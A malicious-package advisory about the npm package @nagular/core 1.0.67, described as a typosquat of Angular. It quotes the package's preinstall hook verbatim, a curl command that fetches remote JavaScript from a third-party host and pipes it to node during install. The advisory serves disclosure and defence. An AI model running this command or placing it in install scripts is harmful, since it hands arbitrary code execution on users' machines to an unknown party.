@nagular/core

Details

**Severity:** Critical

**Affected versions:** `= 1.0.67`

## Source: amazon-inspector (5ac4933487fc7ccf7161933c9d5f6965b5e1f0a3efeaf8ea5349096835008557)
The package's package.json declares a preinstall lifecycle script that runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, fetching an unpinned, unverified JavaScript payload from an unrelated third-party host (gitflic.ru proxied through web.archive.org) and piping it directly to node for execution during `npm install`. The remote content runs with the installer's privileges before any package code is imported or reviewed, giving whoever controls that URL arbitrary code execution on every machine that installs the package. The remote path `hellscripter/install-scripts` and the use of an archive proxy are consistent with a hostile dropper rather than a legitimate build step. The scope name `@nagular/core` additionally resembles the Angular ecosystem (`@angular`), consistent with a typosquat lure, and the preinstall hook is the package's only functional content.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/ae1ef40954ea15dd560720d58f647c9880afc699/osv/malicious/npm/@nagular/core/MAL-2026-17499.json))

**References:**
- https://github.com/ossf/malicious-packages/blob/ae1ef40954ea15dd560720d58f647c9880afc699/osv/malicious/npm/@nagular/core/MAL-2026-17499.json
- https://www.npmjs.com/package/@nagular/core/v/1.0.67
- https://github.com/ossf/malicious-packages/blob/7ee44994dad323ce5910731c56db21300729864a/osv/malicious/npm/@nagular/core/MAL-2026-17499.json
- https://www.npmjs.com/package/@nagular/core
- https://github.com/advisories/GHSA-wxf9-85p5-gwhp

Compromised versions (1)

• = 1.0.67

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.